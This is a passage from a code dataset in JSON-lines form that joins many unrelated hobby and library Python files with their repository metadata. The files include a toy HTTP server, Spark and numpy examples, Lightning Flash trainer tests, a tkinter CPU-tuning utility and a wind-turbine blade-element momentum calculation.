👆\n \n#Do NOT change any of the code below👇\nn = input(\"Check this number: \")\nprime_checker(number=n)\n\n\n\n","repo_name":"jakhongirn/100-days-of-code","sub_path":"Day 8/prime-number-checker.py","file_name":"prime-number-checker.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12414047945","text":"# _*_ coding:utf-8 _*_\r\n\r\n'''\r\nMinMaxScaler\r\n'''\r\n\r\nfrom pyspark.sql import SparkSession\r\nfrom pyspark.ml.feature import MinMaxScaler\r\n\r\nspark = SparkSession.builder.appName(\"MinMaxScaler\").getOrCreate()\r\n\r\npaths=\"/export/home/ry/spark-2.2.1-bin-hadoop2.7/data/mllib/\"\r\n\r\ndataframe=spark.read.format(\"libsvm\").load(paths+\"sample_isotonic_regression_libsvm_data.txt\")\r\n\r\nscaler=MinMaxScaler(inputCol=\"features\",outputCol=\"scaledFeatures\")\r\n\r\nscalerModel=scaler.fit(dataframe)\r\n\r\nscaledData=scalerModel.transform(dataframe)\r\n\r\nscaledData.show()\r\n","repo_name":"ruanyangry/Spark-ML-study","sub_path":"scripts/MinMaxScaler.py","file_name":"MinMaxScaler.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17947875599","text":"import socket\nfrom pathlib import Path\nimport os\nimport os.path\n\ndef serv():\n s_s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n port=60000\n s_s.bind(('localhost',port))\n s_s.listen(5)\n print(\"Starting connection at port: \",port)\n conn,adrs=s_s.accept()\n print(\"Connection established with \",adrs)\n buf=conn.recv(2048)\n buf=buf.decode()\n req=buf.split()\n method=req[0]\n cpath=req[1]\n fpath=cpath[1:]\n\n\n\n def GET():\n print(\"HTTP Request: \\n\",buf)\n if(os.path.exists(fpath)):\n if(content_type()==\"text/html\"):\n with open(fpath,'r') as f:\n page=f.read()\n respond=\"HTTP/1.1 200 OK\\n\"\n respond=respond+\"Content-Type: \"+content_type()+\"\\r\\n\"\n respond=respond+\"Content-Length: \"+str(len(page))+\"\\r\\n\"\n respond=respond+\"\\r\\n\"\n respond=respond+page\n print(\"HTTP Respond: \\n\",respond)\n respond=bytes(respond,'UTF-8')\n conn.sendall(respond)\n f.close()\n else:\n msg=\"Sorry, not supported yet!\\nTry localhost:%s/a.html\"%port\n conn.sendall(msg.encode())\n else:\n with open('404.html','r') as not_found:\n page=not_found.read()\n respond=\"HTTP/1.1 404 Not Found\\n\"\n respond=respond+\"Content-Type: text/html\\r\\n\"\n respond=respond+\"Content-Length: \"+str(len(page))+\"\\r\\n\"\n respond=respond+\"\\r\\n\"\n respond=respond+page\n print(\"HTTP Respond \\n\",respond)\n respond=bytes(respond,'UTF-8')\n conn.sendall(respond)\n not_found.close()\n\n\n def content_type():\n if(Path(fpath).suffix=='.html' or Path(fpath).suffix=='txt'):\n return \"text/html\"\n elif(Path(fpath).suffix=='png'):\n return \"image/png\"\n elif(Path(fpath).suffix=='jpg' or Path(fpath).suffix=='jpeg'):\n return \"image/jpeg\"\n else:\n return \"application/octet-stream\" \n\n\n\n if (method==\"GET\"):\n GET()\n else:\n msg=\"Sorry, not supported yet!\"\n conn.sendall(msg.encode())\n\n\n print(\"Closing connection...\")\n s_s.close()\n\nwhile(True):\n serv()\n \n\n\n\n\n# alternate http server using python modules:\n# import socketserver\n# from http.server import SimpleHTTPRequestHandler\n\n\n# host=\"localhost\"\n# port=9999\n# handler=SimpleHTTPRequestHandler\n\n\n# if __name__ == \"__main__\":\n# serv=socketserver.TCPServer((host,port),handler)\n# print(\"server started %s:%s\"%(host,port))\n\n\n# try:\n# serv.serve_forever()\n# except KeyboardInterrupt:\n# pass;\n\n# serv.server_close()\n# print(\"stopping server...\")\n\n# also we can run this in termianl and get a simple http server:\n# python -m http.server {port number} python3\n# python -m SimpleHTTPServer {port number} python3","repo_name":"rumteen97/python_http_server","sub_path":"limited_http_server.py","file_name":"limited_http_server.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40300304166","text":"#leetcode\nclass Solution(object):\n def reverseStr(self, s, k):\n \"\"\"if len(s) <= k:\n return s[::-1]\n\n count = 0 \n revstring = \"\"\n original = \"\"\n\n for i in s:\n if count < k:\n revstring = i + revstring\n count += 1\n elif count >= k and count < 2 * k:\n revstring += i\n count += 1\n else:\n original = original + revstring\n revstring = i\n count = 1\n\n return original + revstring\n \"\"\"\n\n #time compexity : O(n)\n #space complexity: O(k)\n #much more cleaner using list\n l = list(s)\n \n for i in range(0, len(s), 2 * k):\n \n l[i : i+k] = reversed(l[i : i + k])\n \n return \"\".join(l)\n\n\n\n\"\"\"\ncpp solution:\n#time compexity : O(n)\n#space complexity: O(1)\nclass Solution {\npublic:\n string reverseStr(string s, int k) {\n \n for(int i = 0; i < s.length(); i += 2*k)\n //reverse elements from i to k\n //in reverse 2nd parameter is upper bound\n reverse(s.begin() + i, s.begin() + i + k > s.end() ? s.end(): s.begin() + i + k); \n \n return s;\n }\n};\n\"\"\"\n\n ","repo_name":"AkshaySingh-DS/DSA_CP_Python","sub_path":"leetcode_mixed/reverseLeetcode.py","file_name":"reverseLeetcode.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"44025816980","text":"from argparse import ArgumentParser\nfrom typing import Any, Tuple, Union\n\nimport pytest\nimport torch\nfrom flash import Trainer\nfrom flash.core.classification import ClassificationTask\nfrom flash.core.utilities.imports import _TOPIC_CORE_AVAILABLE\nfrom pytorch_lightning.callbacks.early_stopping import EarlyStopping\nfrom pytorch_lightning.callbacks.finetuning import BaseFinetuning\nfrom pytorch_lightning.core.lightning import LightningModule\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom torch.optim.optimizer import Optimizer\nfrom torch.utils.data import DataLoader\n\n\nclass DummyDataset(torch.utils.data.Dataset):\n def __init__(self, predict: bool = False):\n self._predict = predict\n\n def __getitem__(self, index: int) -> Any:\n sample = torch.rand(1, 28, 28)\n if self._predict:\n return sample\n return sample, torch.randint(10, size=(1,)).item()\n\n def __len__(self) -> int:\n return 100\n\n\nclass DummyClassifier(nn.Module):\n def __init__(self):\n super().__init__()\n self.backbone = nn.Sequential(nn.Flatten(), nn.Linear(28 * 28, 10))\n self.head = nn.LogSoftmax()\n\n def forward(self, x):\n return self.head(self.backbone(x))\n\n\nclass NoFreeze(BaseFinetuning):\n def freeze_before_training(self, pl_module: LightningModule) -> None:\n pass\n\n def finetune_function(\n self,\n pl_module: LightningModule,\n epoch: int,\n optimizer: Optimizer,\n opt_idx: int,\n ) -> None:\n pass\n\n\n@pytest.mark.skipif(not _TOPIC_CORE_AVAILABLE, reason=\"Not testing core.\")\n@pytest.mark.parametrize((\"callbacks\", \"should_warn\"), [([], False), ([NoFreeze()], True)])\ndef test_trainer_fit(tmpdir, callbacks, should_warn):\n model = nn.Sequential(nn.Flatten(), nn.Linear(28 * 28, 10), nn.LogSoftmax())\n train_dl = DataLoader(DummyDataset())\n val_dl = DataLoader(DummyDataset())\n task = ClassificationTask(model, loss_fn=F.nll_loss)\n trainer = Trainer(fast_dev_run=True, default_root_dir=tmpdir, callbacks=callbacks)\n\n if should_warn:\n with pytest.warns(UserWarning, match=\"trainer is using a fine-tuning callback\"):\n trainer.fit(task, train_dl, val_dl)\n else:\n trainer.fit(task, train_dl, val_dl)\n\n\n@pytest.mark.skipif(not _TOPIC_CORE_AVAILABLE, reason=\"Not testing core.\")\ndef test_trainer_finetune(tmpdir):\n model = DummyClassifier()\n train_dl = DataLoader(DummyDataset())\n val_dl = DataLoader(DummyDataset())\n task = ClassificationTask(model, loss_fn=F.nll_loss)\n trainer = Trainer(fast_dev_run=True, default_root_dir=tmpdir)\n trainer.finetune(task, train_dl, val_dl, strategy=NoFreeze())\n\n\n@pytest.mark.skipif(not _TOPIC_CORE_AVAILABLE, reason=\"Not testing core.\")\ndef test_resolve_callbacks_invalid_strategy(tmpdir):\n model = DummyClassifier()\n trainer = Trainer(fast_dev_run=True, default_root_dir=tmpdir)\n task = ClassificationTask(model, loss_fn=F.nll_loss)\n with pytest.raises(TypeError, match=\"should be a ``pytorch_lightning.callbacks.BaseFinetuning``\"):\n trainer._resolve_callbacks(task, EarlyStopping(\"test\"))\n\n\nclass MultiFinetuneClassificationTask(ClassificationTask):\n def configure_finetune_callback(\n self,\n strategy: Union[str, BaseFinetuning, Tuple[str, int], Tuple[str, Tuple[int, int]]] = \"no_freeze\",\n train_bn: bool = True,\n ):\n return [NoFreeze(), NoFreeze()]\n\n\n@pytest.mark.skipif(not _TOPIC_CORE_AVAILABLE, reason=\"Not testing core.\")\ndef test_resolve_callbacks_multi_error(tmpdir):\n model = DummyClassifier()\n trainer = Trainer(fast_dev_run=True, default_root_dir=tmpdir)\n task = MultiFinetuneClassificationTask(model, loss_fn=F.nll_loss)\n with pytest.raises(ValueError):\n trainer._resolve_callbacks(task, None)\n\n\n@pytest.mark.skipif(not _TOPIC_CORE_AVAILABLE, reason=\"Not testing core.\")\ndef test_resolve_callbacks_override_warning(tmpdir):\n model = DummyClassifier()\n trainer = Trainer(fast_dev_run=True, default_root_dir=tmpdir)\n task = ClassificationTask(model, loss_fn=F.nll_loss)\n with pytest.warns(UserWarning, match=\"The model contains a default finetune callback\"):\n trainer._resolve_callbacks(task, strategy=\"no_freeze\")\n\n\n@pytest.mark.skipif(not _TOPIC_CORE_AVAILABLE, reason=\"Not testing core.\")\ndef test_add_argparse_args():\n parser = ArgumentParser()\n parser = Trainer.add_argparse_args(parser)\n args = parser.parse_args([\"--gpus=1\"])\n assert args.gpus == 1\n\n\n@pytest.mark.skipif(not _TOPIC_CORE_AVAILABLE, reason=\"Not testing core.\")\ndef test_from_argparse_args():\n parser = ArgumentParser()\n parser = Trainer.add_argparse_args(parser)\n args = parser.parse_args([\"--max_epochs=200\"])\n trainer = Trainer.from_argparse_args(args)\n assert trainer.max_epochs == 200\n assert isinstance(trainer, Trainer)\n","repo_name":"Lightning-Universe/lightning-flash","sub_path":"tests/core/test_trainer.py","file_name":"test_trainer.py","file_ext":"py","file_size_in_byte":4853,"program_lang":"python","lang":"en","doc_type":"code","stars":1717,"dataset":"github-code","pt":"7"} +{"seq_id":"30317770660","text":"from Connection.P2P import ConnP2P\n\n\nclass ConnP2PClient(ConnP2P):\n\n def __init__(self, base_conn, my_addr, log_file, conn_addr=None):\n ConnP2P.__init__(self, base_conn, my_addr, log_file)\n self.conn_addr = conn_addr\n\n def connect(self):\n if self.connected:\n self.log('Warning (connect): already connected')\n return True\n\n # set lower connection\n if not self.s.connect():\n return False\n\n try:\n self.connected = True\n\n # try to connect to address\n if self.conn_addr:\n\n # set connection (BLOCKING) raise error if fails\n if not self.set_new_connection():\n return False\n else:\n # waits for connection (BLOCKING)\n if not self.set_wait_connection():\n return False\n\n except Exception as e:\n self.log(\"Error (connect): can't connect - \" + repr(e))\n self.disconnect()\n return False\n\n self.log('Success (connect)')\n return True\n\n def disconnect(self):\n if not self.connected:\n return\n\n if self.s.connected:\n # send close request (should not fail)\n try:\n self.send(self.P['request_close_connection'], hard_fail=True)\n except:\n pass\n self.clear_connection()\n self.log('Success (disconnect)')\n\n def set_new_connection(self):\n # send request for new connection\n self.send(self.P['request_new_connection'])\n\n # receive response from server\n data = self.receive()\n\n # case server didn't accept\n if data != self.P['accept_connection']:\n self.log('Error (set_new_connection): connection denied by server: ' + repr(data))\n self.disconnect()\n return False\n return True\n\n def set_wait_connection(self):\n # send request for new connection\n self.send(self.P['wait_for_connection'])\n\n # receive response from server\n data = self.receive()\n\n # case server didn't accept\n if data != self.P['accept_connection']:\n self.log('Error (set_wait_connection): connection denied by server: ' + repr(data))\n self.disconnect()\n return False\n return True\n\n def send(self, msg: bytes, hard_fail=False):\n msg = self.encode(msg, to_=self.conn_addr, from_=self.my_addr)\n ConnP2P.send(self, msg, hard_fail)\n\n def receive(self) -> bytes:\n data, to_, from_ = ConnP2P.receive(self)\n\n # case connection already closed\n if not self.connected:\n return b''\n\n if data == self.P['closed_connection']:\n # self.send(self.P['closed_connection_accepted'])\n self.clear_connection()\n self.log('State (receive): connection ended by other')\n return b''\n\n if not self.validate_receive(data, to_, from_):\n raise ConnectionError('validation failed')\n if not self.conn_addr:\n self.conn_addr = from_\n return data\n\n def clear_connection(self):\n # disconnect base connection\n if self.s.connected:\n self.s.disconnect()\n # clear data\n self.conn_addr = None\n # set state to disconnected\n self.connected = False","repo_name":"nadavshalev/SecureConnection","sub_path":"Code/Connection/P2P/ConnP2PClient.py","file_name":"ConnP2PClient.py","file_ext":"py","file_size_in_byte":3394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33212519860","text":"#!/usr/bin/python3\n# @see http://docs.scipy.org/doc/numpy/reference/routines.io.html\n\nimport numpy as np\n\na = np.zeros( (10,3) )\nnp.savez('junk.npz', a)\nnp.savetxt('junk.txt', a)\n\nx = np.load('junk.npz')\nprint (x)\nfor k,v in x.iteritems():\n print (k, v)\n\ny = np.loadtxt('junk.txt')\nprint (y)\n","repo_name":"2511674586/withLinux","sub_path":"lang/py3/numpy-load-read.py","file_name":"numpy-load-read.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"31803559726","text":"import tkinter as tk\nfrom tkinter import messagebox\nimport subprocess\n\ndef run_command(cmd):\n try:\n return subprocess.check_output(cmd, shell=True)\n except subprocess.CalledProcessError as e:\n return str(e.output)\n\ndef install_cpupower():\n output = run_command(\"which cpupower || sudo apt-get install -y linux-tools-common linux-tools-generic linux-tools-`uname -r`\")\n run_command(\"sudo cpupower frequency-set -g userspace\")\n run_command(\"sudo cpupower frequency-set -f 3800MHz\")\n messagebox.showinfo(\"Success\", \"cpupower has been installed and configured.\")\n\ndef disable_intel_pstate():\n run_command(\"sudo cp /etc/default/grub /etc/default/grub.bak\")\n run_command('sudo sed -i \\'s/GRUB_CMDLINE_LINUX_DEFAULT=\"\\\\(.*\\\\)\"/GRUB_CMDLINE_LINUX_DEFAULT=\"\\\\1 intel_pstate=disable\"/\\' /etc/default/grub')\n run_command(\"sudo update-grub\")\n messagebox.showinfo(\"Success\", \"Intel P-state has been disabled. Please reboot your computer.\")\n\nroot = tk.Tk()\nframe = tk.Frame(root)\nframe.pack()\n\nbutton1 = tk.Button(frame, text=\"Install and configure cpupower\", command=install_cpupower)\nbutton1.pack(side=tk.LEFT)\n\nbutton2 = tk.Button(frame, text=\"Disable Intel P-state\", command=disable_intel_pstate)\nbutton2.pack(side=tk.LEFT)\n\nroot.mainloop()\n","repo_name":"Synaxis/linuxorior","sub_path":"performance_cpu.py","file_name":"performance_cpu.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70398946464","text":"import mcpi.minecraft as minecraft\nimport time\n\nwater_block_id = 9\nice_block_id = 79\n\nworld = minecraft.Minecraft.create()\n\nwhile True:\n time.sleep(0.2)\n\n pos = world.player.getPos()\n x = pos.x\n y = pos.y\n z = pos.z\n\n block_below_player = world.getBlock(x, y - 1, z)\n\n if block_below_player == water_block_id:\n world.setBlock(x, y - 1, z, ice_block_id)\n","repo_name":"deejaygraham/makers-n-creators","sub_path":"_includes/solutions/minecraft-pi/frozen.py","file_name":"frozen.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"2141379242","text":"#!/usr/bin/env python\nimport click\nfrom json import dumps\nimport sys\nfrom os import utime, mkdir\nfrom os.path import exists\n\n\n@click.command()\n@click.option('--fp_archive', required=False, type=str)\n@click.option('--fp_biom', required=False, type=str)\n@click.option('--output_dir', required=False, type=str)\n# The above parameters are actually required. However,\n# for testing purposes, they are optional here. Specifically, they\n# are optional to test use cases where one or both are missing.\n#\n# For testing purposes, assume that --fp_archive specifies a path to a .json\n# file, and after worker.py (or another process) is completed, fp_archive\n# specifies a path to a .tre file.\n#\n# --env_report is a worker.py specific flag to report the python environment\n# version that this script is currently running in. Useful for testing\n# environment switching.\n@click.option('--env_report', is_flag=True, default=False)\n# execute needed to support click\ndef execute(fp_archive, fp_biom, output_dir, env_report):\n \"\"\"worker.py implements an example interface to directly communicate\n with plugins, or other external programs.\n \"\"\"\n\n if env_report:\n d = {'version_major': '%d' % sys.version_info.major,\n 'version_minor': '%d' % sys.version_info.minor,\n 'version_micro': '%d' % sys.version_info.micro}\n click.echo(\"%s\" % dumps(d))\n else:\n fp_archive = fp_archive.replace('.json', '.tre')\n\n # creating blank files\n if not exists(output_dir):\n mkdir(output_dir)\n for fname in [fp_archive, fp_biom]:\n with open(fname, 'a'):\n utime(fname, None)\n\n d = {'archive': fp_archive, 'biom': fp_biom, 'output_dir': output_dir}\n click.echo(\"%s\" % dumps(d))\n\n\nif __name__ == '__main__':\n execute()\n","repo_name":"qiita-spots/qiita","sub_path":"qiita_db/test/support_files/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"78"} +{"seq_id":"3902635281","text":"# Author : S Middleton\n# Date : 2021\n# Purpose : Stores optional cuts\n\nimport sys\n\nclass Cuts() :\n\n def __init__(self, opt = 'su2020', use_CRV = False):\n self.use_CRV = use_CRV\n self.Cut_List = {}\n if opt is 'cd3':\n self.Cut_List = {\n \"de.status\" : [0., float(\"inf\")] , #goodfit\n \"trigbits&0x208\" : [0., float(\"inf\")], #triggered\n \"de.t0\" : [700., 1695], #inTimeWindow\n \"deent.td\" : [0.577350, 1.000], #inTanDipCut\n \"deent.d0\" : [-80., 105.], #inD0Cut\n \"inMaxRCut\" : [450., 680.],\n \"useCRV\" : use_CRV,\n \"noCRVHit\" : [-50.0 , 150.0],\n \"dequal.TrkQual\" : [0.8, float(\"inf\")], #TrkQual\n \"dequal.TrkPID\" : [0.95, float(\"inf\")], #TrkPID\n \"ue.status\" : [float(\"-inf\"), 0.], #noUpstream\n \"deent.mom\" : [95., float(\"inf\")] #recomom\n\n }\n\n if opt is 'su2020':\n self.Cut_List = {\n \"de.t0\" : [700., 1695], #inTimeWindow\n \"deent.td\" : [0.5, 1.0], #inTanDipCut\n \"deent.d0\" : [-100,100.], #inD0Cut\n \"dequal.TrkQual\" : [0.2, float(\"inf\")], #TrkQual\n }\n\n def ApplyCut(self, df):\n df_cut = df\n for key, value in self.Cut_List.items():\n df_cut = df_cut[(df_cut[key] > value[0]) & (df_cut[key] <= value[1])]\n return df_cut\n","repo_name":"sophiemiddleton/StatsTool2021","sub_path":"Cuts.py","file_name":"Cuts.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7098462755","text":"from multiprocessing import Process, Queue\nimport cv2\nimport os\nimport time\n\nfrom imutils.video import WebcamVideoStream\nfrom imutils.video import FPS\nimport imutils\n\n\n'''\n#------------------\n# Sound player\n#\n# Linux -> use cvlc :\n# sudo apt-get install vlc\n# OSX -> use playsound :\n# pip3 install pyobjc\n# pip3 install playsound\n#\n#\nimport subprocess\nos_name = subprocess.check_output('uname', shell=True)\nos_name = str(os_name)\nif(os_name.find('Darwin') >= 0):\n from playsound import playsound # For OSX\n\ndef tts_multiproc(msg):\n\n proc = os.getpid()\n\n tmpPlayPath = './tmp.mp3'\n\n # 외부 프로그램 사용 playsound or vlc\n if (os_name.find('Darwin') >= 0):\n playsound(tmpPlayPath) # For OSX\n else:\n os.system('cvlc ' + tmpPlayPath + ' --play-and-exit') # For Linux\n\n# ----------------------------------------------------\n# 메인 함수\n# ----------------------------------------------------\nif __name__ == '__main__':\n\n procs = []\n while True:\n message = \"안녕하세요\"\n\n for proc in procs:\n proc.join()\n procs.pop()\n proc = Process(target=tts_multiproc, args=(message,))\n # proc = Process(target=tts.play_proc, args=(message,))\n procs.append(proc)\n proc.start()\n print(\"Proc started! proc: \", proc, \" len(procs): \", len(procs))\n\n print(message)\n\n key_in = cv2.waitKey(20) & 0xFF\n if key_in == ord('q'):\n break\n'''\n\n# ----------------------------------------------------------\n# You need to setup PYTHONPATH to include tts/naver_tts.py\n# ex.) export PYTHONPATH=/Users/jschoi/work/ChatBot/Receptionbot_Danbee/receptionbot:$PYTHONPATH\nfrom tts.naver_tts import NaverTTS # TTS: NaverTTS\n\n\n\ndef cam_loop(queue_from_cam):\n cap = cv2.VideoCapture(0)\n cap.set(3, 320)\n cap.set(4, 240)\n\n while True:\n ret, frame = cap.read()\n #print(ret)\n if(ret):\n #print(\"len(frame): \", len(frame), \", type(frame): \", type(frame))\n queue_from_cam.put(frame)\n time.sleep(0.1)\n\n if cv2.waitKey(20) & 0xFF == ord('q'):\n break\n\n\nvs = WebcamVideoStream(src=0).start()\nfps = FPS().start()\n\ndef main():\n # --------------------------------\n # Create NaverTTS Class\n tts = NaverTTS(0,-1) # Create a NaverTTS() class from tts/naver_tts.py\n #tts.play(\"안녕하십니까?\")\n\n procs = []\n\n\n #queue_from_cam = Queue()\n #cam_process = Process(target=cam_loop, args=(queue_from_cam, ))\n #cam_process.start()\n\n cap = cv2.VideoCapture(0)\n cap.set(3, 320)\n cap.set(4, 240)\n\n while(True):\n # grab the frame from the threaded video stream and resize it\n # to have a maximum width of 400 pixels\n #frame = vs.read()\n #rame = imutils.resize(frame, width=640)\n\n ret, frame = cap.read()\n\n #ret, frame = cap.read()\n #while queue_from_cam.empty():\n # pass\n #frame = queue_from_cam.get()\n #print(type(frame))\n\n\n message = \"안녕하세요\"\n\n for proc in procs:\n proc.join()\n procs.pop()\n proc = Process(target=tts.play, args=(message,))\n procs.append(proc)\n proc.start()\n print(\"Proc started! proc: \", proc, \" len(procs): \", len(procs))\n\n print(message)\n\n\n # Display the resulting frame\n cv2.imshow('frame', frame)\n if cv2.waitKey(20) & 0xFF == ord('q'):\n break\n\n # update the FPS counter\n fps.update()\n\n #cam_process.join()\n\n # When everything done, release the capture\n #cap.release()\n cv2.destroyAllWindows()\n\n\n # stop the timer and display FPS information\n fps.stop()\n print(\"[INFO] approx. FPS: {:.2f}\".format(fps.fps()))\n # do a bit of cleanup\n #cv2.destroyAllWindows()\n vs.stop()\n\n# ----------------------------------------------------\n# 메인 함수\n# ----------------------------------------------------\nif __name__ == '__main__':\n main()\n","repo_name":"cjs0818/Face_Detect","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2027767092","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 19 15:40:03 2019\n\n@author: I. Koune\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats as stats\nfrom scipy.interpolate import interp2d\n\n#%%Parameters\nR = 89.17\nA = np.pi*R**2\nrho = 1.225\n\n\n#V0 = 9.0\nV0 = np.linspace(4,11.19,100)\n#omega = np.array([1.01])\n#omega = np.linspace(0.5,1.01,20)\n#TSR = omega*R/V0\nomega = 8.0/R*V0\ntheta_p = np.deg2rad(np.array([0]))\n#theta_p = np.deg2rad(np.linspace(-2,5,15)) \nB = 3\n\n# Export figures as pdf\nsaveFig = 1\n\n#%% Reference wind turbine blade description\nr = np.zeros([18])\nr[:] = np.array([2.80, 11.00, 16.87, 22.96, 32.31, 41.57, 50.41, \n 58.53, 65.75, 71.97, 77.19, 78.71, 80.14, 82.71, \n 84.93, 86.83, 88.45, 89.17-(0.2)])\nr_int = np.append(r[:],R) #For tip integration\nc = np.array([5.38, 5.45, 5.87, 6.18, 6.02, 5.42, 4.70, 4.00, 3.40, \n 2.91, 2.54, 2.43, 2.33, 2.13, 1.90, 1.63, 1.18, 0.60])\nbeta = np.deg2rad(np.array([14.50, 14.43, 12.55, 8.89, 6.38, 4.67, \n 2.89, 1.21, -0.13, -1.11, -1.86, -2.08, \n -2.28, -2.64, -2.95, -3.18, -3.36, \n -3.43]))\nratio = np.array([100.00, 86.05, 61.10, 43.04, 32.42, 27.81,\n 25.32, 24.26, 24.10, 24.10, 24.10, 24.10, 24.10,\n 24.10, 24.10, 24.10, 24.10, 24.10])\n\n#Import of data\nairFoilThickness = np.array([24.1, 30.1, 36.0, 48.0, 60.0, 100])\nsuffixData = np.array(['FFA-W3-241.txt', 'FFA-W3-301.txt', \n 'FFA-W3-360.txt', 'FFA-W3-480.txt', \n 'FFA-W3-600.txt', 'cylinder.txt'])\nsizeTest = np.genfromtxt('FFA-W3-241.txt',\n dtype=None,\n delimiter=None)\nFFAdata = np.zeros((len(sizeTest),len(sizeTest[0]),len(suffixData)), \n dtype='float64')\nfor i in range(0,len(suffixData)):\n name = suffixData[i]\n FFAdata[:,:,i] = np.loadtxt(name,\n dtype=None,\n delimiter=None)\n\ndel sizeTest\ndel name\n\n#Interpolation of data\nintCl = interp2d(airFoilThickness,FFAdata[:,0,0],FFAdata[:,1,:], \n kind='linear') # Thickness, angle OUTPUT: Is in array\nintCd = interp2d(airFoilThickness,FFAdata[:,0,0],FFAdata[:,2,:], \n kind='linear') # Thickness, angle\nintCm = interp2d(airFoilThickness,FFAdata[:,0,0],FFAdata[:,3,:], \n kind='linear')\n\n#%%Initialize variables\na_crit = 1/3\nPn = np.zeros([len(r)+1])\nPt = np.copy(Pn)\ntol = 1E-5\nCP = np.zeros([len(theta_p),len(omega)])\nCT = np.copy(CP)\nPower = np.zeros(len(omega))\n\n\"\"\"BEGIN PITCH LOOP\"\"\"\nfor k in range(len(theta_p)):\n\n \"\"\"BEGIN OMEGA LOOP\"\"\"\n for j in range(len(omega)):\n \n \"\"\"BEGIN BEM LOOP\"\"\"\n for i in range(len(r)):\n a = 0; a_prime = 0;\n count = 0\n \n while True:\n count +=1\n phi = np.arctan(((1-a)*V0[j])/((1+a_prime)*omega[j]*r[i]))\n alpha = phi-(beta[i]+theta_p[k])\n #Table lookup for Cl, Cd\n Cl = intCl(ratio[i],np.rad2deg(alpha))\n Cd = intCd(ratio[i],np.rad2deg(alpha))\n Cn = Cl*np.cos(phi) + Cd*np.sin(phi)\n Ct = Cl*np.sin(phi) - Cd*np.cos(phi)\n #Prandt's Tip Loss\n F = 2/np.pi*np.arccos(np.exp((-B/2)*(R-r[i])/(r[i]*np.sin(abs(phi)))))\n \n sigma = c[i]*B/(2*np.pi*r[i]) #Solidity\n #Glauert Correction\n if a <= a_crit:\n anew = 1/(4*F*(np.sin(phi)**2)/(sigma*Cn)+1)\n else:\n CT_glauert = (1-a)**2*Cn*sigma/np.sin(phi)**2\n astar = CT_glauert/(4*F*(1-0.25*(5-3*a)*a))\n anew = 0.1*astar+0.9*a\n a_prime = 1/(4*F*(np.sin(phi)*np.cos(phi))/(sigma*Ct)-1)\n if abs(anew-a) <= tol:\n a = anew\n break\n elif count == 200:\n #print('count > 200')\n break\n else:\n a = anew\n #print('Count = ' + str(count))\n Vrel = V0[j]*(1-a)/np.sin(phi)\n Fl = 1/2*rho*Vrel**2*c[i]*Cl\n Fd = 1/2*rho*Vrel**2*c[i]*Cd\n Pn[i] = Fl*np.cos(phi)+Fd*np.sin(phi)\n Pt[i] = Fl*np.sin(phi)-Fd*np.cos(phi)\n \"\"\"END BEM LOOP\"\"\"\n \n #Power, Thrust and coefficients\n Power[j] = omega[j]*B*np.trapz(Pt*r_int, r_int) #Rotor mechanical power\n CP[k,j] = Power[j]/(0.5*rho*V0[j]**3*A)\n Thrust = B*np.trapz(Pn,r_int) #Rotor thrust\n CT[k,j] = Thrust/(0.5*rho*V0[j]**2*A)\n \"\"\"END OMEGA LOOP\"\"\"\n\"\"\"END PITCH LOOP\"\"\"\n\nplt.figure('Test', figsize = (5,4))\nplt.plot(V0, Power)\n#%% Start Question 5\n\n# Create an array of power values corresponding to V0\nVin = 4\nVout = 25\nVout_2 = 20\n\nnAppend = 500\nAppend_list = np.linspace(11.19, Vout, nAppend)\nfor item in Append_list:\n print(item)\n Power = np.append(Power, Power[-1])\n V0 = np.append(V0, item)\n\n\n#%% Weibull distribution parameters\nA = 9\nk = 1.9\n\nidx = (np.abs(V0-Vout_2)).argmin()\nV0_2 = V0[0:idx+1]\n#Power_2 = Power[0:idx+1]\n \n\n# Supply array of Pi values for each Vi in V0\n\n# =============================================================================\n# Comparing given formula to scipy's weibull_min\n# f01 = np.exp(-(Vin/A)**k)-np.exp(-(Vout/A)**k)\n# \n# # weibull pdf and cdf\n# #f_weib = stats.weibull_min.pdf(V0, c=k, scale=A)\n# #F_weib = stats.weibull_min.cdf(V0, c=k, scale=A)\n# #plt.plot(V0, F_weib)\n# \n# # Probability Vin 0,\n raw[:, header.index('HINCP')] > 0,\n raw[:, header.index('ADJINC')] > 0])\nraw = raw[keep, :]\nprint(f'm = raw.shape[0] = {raw.shape[0]}')\n\n# Form a dictionary of the lower- and upper-bounds on the ranges of numbers\n# of the public-use microdata areas (PUMAs) for the counties in California.\npuma = {\n 'Alameda': (101, 110),\n 'Alpine, Amador, Calaveras, Inyo, Mariposa, Mono and Tuolumne': (300, 300),\n 'Butte': (701, 702),\n 'Colusa, Glenn, Tehama and Trinity': (1100, 1100),\n 'Contra Costa': (1301, 1309),\n 'Del Norte, Lassen, Modoc, Plumas and Siskiyou': (1500, 1500),\n 'El Dorado': (1700, 1700),\n 'Fresno': (1901, 1907),\n 'Humboldt': 